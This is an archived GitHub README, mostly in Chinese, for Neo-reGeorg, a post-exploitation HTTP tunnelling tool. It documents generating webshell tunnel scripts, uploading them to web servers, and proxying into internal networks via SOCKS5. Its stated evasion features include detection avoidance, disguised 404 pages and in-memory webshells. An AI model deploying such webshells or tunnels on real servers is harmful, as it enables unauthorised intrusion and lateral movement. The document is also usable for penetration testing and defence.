GitHub - L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

By L-codes

Archived: 2026-04-05 20:10:11 UTC

简体中文 | English

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目，目的是：

- 提高可用性，避免特征检测
- 提高 tunnel 连接安全性
- 提高传输内容保密性
- 应对更多的网络环境场景下使用

> 此工具仅限于安全研究和教学，用户承担因使用此工具而导致的所有法律和相关责任！ 作者不承担任何法律和相关责任！

Version

5.3.0 - 版本修改日志

Features

- 传输内容经过变形 base64 加密，伪装成 base64 编码
- 采用 BLV (Byte-LengthOffset-Value) 数据格式传输数据
- 直接请求响应可定制化 (如伪装的404页面)
- 支持 Request 模板
- HTTP Headers 可定制化
- 自定义 HTTP 响应码
- 多 URL 随机请求
- 服务端 DNS 解析
- 兼容 python2 / python3
- 服务端环境的高兼容性，如服务器不稳定、负载均衡下只在部分机器上部署了服务端等特殊情况
- (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接，应对部分负载均衡场景
- aspx/ashx/jsp/jspx 已不再依赖 Session，可在无 Cookie 等恶劣环境正常运行
- (非 php nodejs) 支持内网转发，应对负载均衡环境
- 支持进程形式启动服务端，应对更多场景

python 依赖

```
python -m pip install requests

# 可选
python -m pip install requests[socks] # socks5 代理支持
python -m pip install curl-cffi       # 改用 curl-cffi 库, 提升性能和稳定性
python -m pip install requests_ntlm   # NTLM 认证支持
```

Basic Usage

- **Step 1.** 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

```
$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_servers/tunnel.jsp
       => neoreg_servers/tunnel.jspx
       => neoreg_servers/tunnel.ashx
       => neoreg_servers/tunnel.aspx
       => neoreg_servers/tunnel.php
       => neoreg_servers/tunnel.go
```

- **Step 2.** 使用 neoreg.py 连接 WEB 服务器，在本地建立 socks5 代理

```
$ python3 neoreg.py -k password -u http://xx/tunnel.php
+-------------------------------------------------------------------------+
  Log Level set to [DEBUG]
  Starting socks server [127.0.0.1:1080]
  Tunnel at:
    http://xx/tunnel.php
+-------------------------------------------------------------------------+
```

Advanced Usage

1. 支持生成的服务端，默认直接请求响应指定的页面内容 (如伪装的 404 页面)

```
$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
$ python neoreg.py -k <you_password> -u <server_url> --skip
```

2. 如服务端 WEB，需要设置代理才能访问

```
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
```

3. 如需 Authorization 认证和定制的 Header 或 Cookie

```
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cook
```

4. 需要分散请求，可上传到多个路径上，如内存马

```
$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
```

5. 开启内网转发，应对负载均衡

```
$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>
```

6. 使用端口转发功能，非启动 socks5 服务 (127.0.0.1:1080 -> ip:port)

```
$ python neoreg.py -k <you_password> -u <url> -t <ip:port>
```

7. 设置请求内容模板 (generate 的时候需要指定上)

```
# 请求内容会替换到 NEOREGBODY 中
$ python3 neoreg.py -k password -T 'img=&save=ok'
$ python3 neoreg.py -k password -T 'img=&save=ok' -u http://127.0.0.

# NOTE 允许将模板内容写入文件中 -T file 即可
```

8. 支持创建进程另起 Neoreg 服务端，可应对恶劣的特殊环境 (自行脑补) :)

```
$ go run neoreg_servers/tunnel.go 8000
$ python3 neoreg.py -k password -u http://127.0.0.1:8000/anysting
```

9. 支持 Node.js 的内存马形式，路径修改 js 文件中 `const path = '/proxy_path';`, 连接则需要带上 `--async-connect` 参数

```
$ python3 neoreg.py -k password --async-connect -u http://127.0.0.1:8000/proxy_path
```

- 更多关于性能和稳定性的参数设置参考 -h 帮助信息

```
# 生成服务端脚本
$ python neoreg.py generate -h
    usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]
                     [--max-read-size KB]

    Generate neoreg webshell
```

```
    optional arguments:
      -h, --help            show this help message and exit
      -k KEY, --key KEY     Specify connection key.
      -o DIR, --outdir DIR  Output directory.
      -f FILE, --file FILE  Camouflage html page file
      -c CODE, --httpcode CODE
                            Specify HTTP response code. When using -r, it is
                            recommended to <400 (default: 200)
      -T STR/FILE, --request-template STR/FILE
                            HTTP request template (eg:
                            'img=&save=ok')
      --read-buff Bytes     Remote read buffer (default: 513)
      --max-read-size KB    Remote max read size (default: 512)

# 连接服务端
$ python neoreg.py -h
    usage: neoreg.py [-h] -u URI [-r URL] [-R] [-t IP:PORT] -k KEY [-l IP]
                     [-p PORT] [-s] [-H LINE] [-c LINE] [-x LINE] [-T STR/FILE]
                     [-a] [--php-skip-cookie] [--go] [--php-connect-timeout S]
                     [--local-dns] [--read-buff KB] [--read-interval MS]
                     [--write-interval MS] [--max-threads N] [--max-retry N]
                     [--cut-left N] [--cut-right N] [--extract EXPR]
                     [--ntlm-auth USER:PASS] [-v]

    Socks server for Neoreg HTTP(s) tunneller (DEBUG MODE: -k debug)

    optional arguments:
      -h, --help            show this help message and exit
      -u URI, --url URI     The url containing the tunnel script
      -r URL, --redirect-url URL
                            Intranet forwarding the designated server (only
                            java/.net)
      -R, --force-redirect  Forced forwarding (only jsp -r)
      -t IP:PORT, --target IP:PORT
                            Network forwarding Target, After setting this
                            parameter, port forwarding will be enabled
      -k KEY, --key KEY     Specify connection key
      -l IP, --listen-on IP
                            The default listening address (default: 127.0.0.1)
      -p PORT, --listen-port PORT
                            The default listening port (default: 1080)
      -s, --skip            Skip usability testing
      -H LINE, --header LINE
                            Pass custom header LINE to server
      -c LINE, --cookie LINE
                            Custom init cookies
      -x LINE, --proxy LINE
```

```
                        Proto://host[:port] Use proxy on given port
    -T STR/FILE, --request-template STR/FILE
                        HTTP request template (eg:
                        'img=&save=ok')
    -a, --async-connect   Asynchronous CONNECT (e.g., in PHP, Node.js)
    --php-skip-cookie     Skip cookie availability check in php
    --go                  Use go connection method
    --php-connect-timeout S
                        PHP connect timeout (default: 0.5)
    --local-dns           Use local resolution DNS
    --read-buff KB        Local read buffer, max data to be sent per POST
                        (default: 7, max: 50)
    --read-interval MS    Read data interval in milliseconds (default: 300)
    --write-interval MS   Write data interval in milliseconds (default: 200)
    --max-threads N       Proxy max threads (default: 400)
    --max-retry N         Max retry requests (default: 10)
    --cut-left N          Truncate the left side of the response body
    --cut-right N         Truncate the right side of the response body
    --extract EXPR        Manually extract BODY content (eg:
                        <html><p>NEOREGBODY</p></html> )
    --ntlm-auth USER:PASS
                        Enable NTLM authentication for web requests (format:
                        DOMAIN\USER:PASSWORD or USER:PASSWORD)
    -v                    Increase verbosity level (use -vv or more for greater
                        effect)
```

Remind

- Mac OSX 上运行 `neoreg.py` 时，高并发请求会出现网络丢包情况，可通过 `ulimit -n 2560` 修改当前 shell 的 "最大文件打开数"

License

GPL 3.0

Star History Chart


Star History Chart

Source: https://github.com/L-codes/Neo-reGeorg/tree/master